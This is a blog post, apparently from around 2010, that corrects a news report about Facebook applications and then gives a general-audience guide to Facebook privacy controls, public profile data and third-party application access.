The traditional sense of “adding” or “installing” a Facebook application is that you allow the app access to your profile by clicking through a standard prompt. For applications on Facebook, this is the familiar page asking to “Allow Access,” which did recently receive a makeover and some new features most of the time. For websites outside of Facebook, this happens when you click “Connect with Facebook” or “Login to Facebook” and then agree to the prompt that pops up. Once you’ve taken this extra step beyond just visiting, the site can then identify you and access certain information about you. Applications within Facebook can identify you and access certain public information automatically if you reach them via certain channels, such as by clicking on a friend’s news feed story. Again, all of these behaviors have been around for quite a while.

On the description page for an application, you’ll see a list of friends who have added the app. That list only includes friends of yours who have taken the extra step of “installing” the application as described above. If you only visit a Facebook-enhanced website or Facebook application but don’t agree to the extra prompt, you will never show up in that list or the general list of an application’s users.

Some people may be worried by the fact that Facebook can record visits to other websites that include Facebook content, and those concerns have credibility. But Facebook has this ability for years. Any time a website includes “like” buttons, lists of fans, or other data loaded from Facebook, footprints are left behind. This is not much different from tracking that happens with third-party advertising networks – except that Facebook knows much more about your identity. If you want to avoid tracking entirely, log out of Facebook before visiting other websites.

Readers of this blog know that I have often criticized Facebook over privacy and security issues. But I find it very important to be accurate and avoid sensationalism in such criticisms. If reports include mistaken or overblown problems, users become more confused, appropriate criticisms can be discredited, and Facebook has a chance to gloss over other legitimate concerns. Unless I misunderstood what Macworld described, I think this is one case where fears over supposedly malware-like behavior are not justified. We need to leave this story behind and focus on real issues facing Facebook users.

Note: To clarify, what I describe here does not apply to the three instant personalization partner sites: Docs.com, Pandora, and Yelp. Those sites’ applications are “installed” as soon as you visit unless you opt-out from the instant personalization program or block the apps individually.

Update: Macworld has added a response from Facebook, and the company says a bug temporarily caused external websites to show up in a user’s application list. Apparently my misunderstanding was that these sites’ applications don’t normally show up as “Recently Used,” but their appearance did not indicate any difference in functionality and the technical details I gave describing how such applications work remain unchanged. In other words, seeing these sites under “Recently Used” was consistent with their normal behavior. Facebook confirmed that no data was shared with the applications and that users’ visits were never visible to anyone else.

This guide is intended for a general audience, so I will try hard to explain ideas clearly and not get bogged down by technical details. However, I will also be focusing on the concepts behind various privacy controls, but not necessarily stepping through all available settings. If you want more on the latter, along with recommendations for those settings, I would point you to the Facebook Privacy & Security Guide maintained by Tom Eston at Social Media Security, a site where I’m also a contributor.

In case you’re not familiar with Social Hacking, it’s a blog about privacy and security issues in online social networking written by Joey Tyson (a.k.a. theharmonyguy), a security engineer at Gemini Security Solutions. Note that all opinions are those of the author and do not reflect in any way on Gemini or any other organization. Finally, note that this guide is licensed under a Creative Commons License. That means you’re welcome to share it with others for noncommercial purposes if you cite Social Hacking or theharmonyguy with a link to http://theharmonyguy.com/ and under similar terms. If you want to publish a large portion of the guide on a site that includes advertising, please contact me first.

1. Facebook is Not Magic

I’ve spent countless hours over the last few years studying the technical details behind Facebook’s privacy controls and looking for ways an attacker could override them. All that investigation leads me to state that Facebook is not magic, in both a positive and a negative sense. First, while Facebook employs all sorts of technology to record your activity on the site and the information you post there, they cannot magically discover all of your secrets and post them for the world to see. The biggest form of control you have over your content on Facebook is not sharing it to begin with.

Of course, participating in Facebook often carries a variety of social pressures that may prevent from simply “not sharing,” and Facebook may record data or combine pieces of data in ways you don’t anticipate. Also, remember that your friends are humans, and even if you restrict all of your content to just your friends, they can still copy that content and post it elsewhere beyond your control. That’s the sort of social problem no technology can completely stop, and comes down to the trust you place in your friends. However, Facebook can’t hack into your e-mail account or copy your wall calendar, so if Facebook knows something about you, that knowledge probably involved you or a friend of yours.

On the flip side, no website is totally bulletproof in securing information. As someone involved in security research, I know that even “secure” websites pose risks. And yet, I routinely share my credit card number with merchants as I shop online. Is it possible that someone could hack those merchants or intercept my data and steal my credit card number? Certainly. A thief could also sneak up behind me on the street and try to grab my wallet, but that doesn’t mean I never take walks. I generally avoid walks, though, in certain neighborhoods where I don’t trust the environment. Similarly, I try to be very careful about what websites I trust with my personal information. When you post private content on Facebook or anything other social networking site, I can’t promise you that no one else will ever see that content. What you share with Facebook comes down to how much you trust Facebook with that data. This guide may help you in making such decisions, but ultimately, you have to make them.

2. Facebook Wants You to Share

Security guru Bruce Schneier gave an excellent lecture earlier this year about privacy and different generations. In the talk, he related a hypothetical story from social media researcher danah boyd about a friend who discloses information shared privately in order to gain better social standing with others. He then noted that Facebook is like that friend, gaining much revenue and market position from sharing the content you give it with other parties. As Schneier put it, we are Facebook’s product, not their customers.

You may ask, why would Facebook want to share my data? You may use Facebook simply to chat with friends that about things don’t seem of much importance to a large, high-tech company. I would give three main answers. First, the more Facebook knows about you, the more they can target the advertisements they show you. Companies buying ads want to make sure they reach an audience most likely to buy a certain product and value word-of-mouth recommendations. Right now, if I wanted to, I could buy an ad campaign on Facebook that appears for 25-year-old men who are interested in women, engaged or married, speak English, have a college degree in physics, like both Lord of the Rings and U2, and are not already members of a certain Facebook group I created. Facebook tells me that about 80 users fit that description, and estimates that at average pricing my ad would see 1-2 clicks per day. Facebook has offered this level of ad targeting for several years now.

Second, many companies are looking for data on behaviors and trends across large groups of people, and not simply for advertising opportunities. Since millions of people login to Facebook every day and share information about their interests, habits, activities, friends, and ideas, the company can build huge sets of data to answer general questions about their users.

Finally, Facebook can use your information to let other services provide a more targeted experience as well. For instance, if you list your favorite music artists on your profile, Pandora can use that list to generate an online radio station tailored to your specific tastes without requiring you to re-enter all those artists.

Note that I’m simply describing realities here, not commenting on whether they’re useful or creepy. Some people find Facebook’s targeted advertising disturbing, some people see it as a way to see relevant ads for products they may find of interest. But my main point is simply that Facebook has a vested interest in you sharing information about yourself and your life. They do provide some degree of control over what happens to the information your share, but ultimately, they benefit most from you sharing the most.

3. Some Content is Always Public

Some parts of your Facebook profile are always considered “publicly available information” (also called PAI) by Facebook, and ultimately, you don’t have control over whether another person or application can see that information. In practice, it may be difficult for others to find such data or Facebook may even prompt them for certain authorization first. But regardless of any settings or appearances, you should always remember that Facebook does not consider the data private and it may be shared via other channels you’re not aware of.

As of May 2010, the following content in your Facebook profile is always PAI: your name, your profile picture, and your connections. The “connections” part currently includes your friends, your family, your relationships, your current city or hometown, your education history, your work history, your activites, your interests, the music you like, the movies you like, the books you like, the TV shows you like, and any page that has a Facebook “Like” button you’ve clicked.

4. Focus on Settings Close to Content

While Facebook’s myriad privacy settings can provide great flexibility over certain bits of data, they can also cause great confusion. But generally, the most important setting for any piece of content is the one closest to that content. In other words, while you may come across privacy settings in many corners of Facebook, you’ll often find one right next to an individual bit of information, and that’s usually the one you should worry about most for that particular data.

For instance, when you post a status update or link on your profile, you’ll see a little padlock icon next to the “Share” button. That padlock sets who can access the status or link. When you create a photo album or edit its properties, you’ll find a “Privacy” box, and that box indicates who can access the photos in that album.

Are there exceptions to this rule? Yes, and I describe some major ones in the next few sections. But for a starting point, those little padlocks that sit right alongside your statuses, links, albums, and so on are the biggest controls you have over who can see your content. As a general rule, the more complicated settings you may come across will not override these individual settings if a person tries to load your content via the Facebook website.

Facebook does provide other privacy settings that control the visibility of certain content on your profile, including the public information I described before, but that’s not the same as access. I’ve posted several tricks in the past that demonstrated how people could still load content that seemed to be hidden but still had individual, padlock controls marked as “Everyone.” Such a setting really does mean everyone, and Facebook treats the content as part of the publicly available information described before. Rely most on the padlocks to control who sees what.

The most important exceptions to this advice involve how applications access your data. Facebook distinguishes between what people can access browsing the Facebook site as usual and what applications or websites can access by communicating with Facebook through other technical methods, and so far I’ve only covered the former case.

5. Applications Act on Your Behalf

A few years ago, Facebook added some ways for people to write their own code that made use of Facebook data. Originally these were just applications added to Facebook, such as the quizzes or games you still often see on the site. But more recently, Facebook has added methods for other websites to interface with user information as well. How much data all of these applications could access depended on users “authorizing” them.

I think the best way to understand the access applications have is to treat them as ambassadors or liaisons between you and Facebook. You generally establish this setup when you authorize the application, which happens whenever you click to allow access for applications inside of Facebook (such as those games and quizzes) and “login” or “connect” your Facebook on other websites. An authorized application then has much the same access to data that you do, and may post to your Facebook as if you were posting.

Until recently, this meant your applications could access profile information, photos, links, notes, etc. even if they were set to “Friends Only.” Now, Facebook is in the process of shifting applications to a setup where they have to ask for all the levels of access they want. Of course, you don’t get to choose those levels of access, and an application may not work if you don’t approve them all. You also can’t place blanket restrictions on every application you might use.

Another aspect to application access comes into play when a friend uses one and you don’t. While you don’t have much control over data access for applications you use, Facebook does allow you to set across the board whether your friends’ applications can see your data as your friends would, if you haven’t used the applications as well.

One of the most recent changes to Facebook involves certain the company authorizing certain sites automatically, a feature called “instant personalization.” These sites (currently Docs.com, Pandora, and Yelp) then have automatic access to your publicly available information when you visit them. Applications within Facebook have had this sort of access for a while on most visits. Facebook gives a setting to block the behavior for the three external websites, but they may still receive some of your data when friends use them – an aspect controlled by the settings described above.

Facebook does give you the power to block specific applications, including external websites such as Docs.com, Pandora, and Yelp. When you block an application, it will won’t be able to tell you exist – your friends won’t even see your name in the context of that application.

6. Applications are Not Facebook

When you use an application, such as a quiz or a game on Facebook, you are interacting with code written by someone not part of Facebook. (The company does treat a few specific features as “applications,” such as Photos or Notes, but these are generally marked as such and cannot be removed.) Most of the content you generate within that application, such as your result on a quiz or your score in a game, is stored by the application outside of Facebook. Ultimately, who accesses that information and how long it stays online are up to the people who wrote the application, not Facebook.

In your “Application Settings” on Facebook, you will find many specific settings that relate to individual applications, including whether they can be seen on your profile. These control the ways an application interfaces with Facebook, such as the boxes on your profile or whether it can publish links on your wall, but you put your trust in the application to provide privacy and security beyond these aspects. I’ve found many applications that allow an attacker to access information you might think would only appear on your profile. Also, an insecure application could be hijacked to access Facebook data you’ve authorized it to see.

7. You Have to Live Your Life

Anyone who reads my blog or Twitter feed will realize that I care greatly about privacy issues with Facebook, and I spend a great deal of time understanding the controls available to Facebook users. But when people ask me for recommendations on Facebook, I often include a closing bit of advice: You still have to your life. Think before you post, know what your settings do, try to stay current with changes and understand where your data goes. But don’t get paranoid or spend more time adjusting your Facebook than actually communicating with your real-life friends.

Facebook is only one tool for keeping up with people. If using Facebook becomes too much of a chore, maybe you should find another tool. But whether you use Facebook or not, don’t let all the news reports and check-boxes cause you to lose sight of the big picture. Focus on living a life worth sharing before you worry about what you share on Facebook.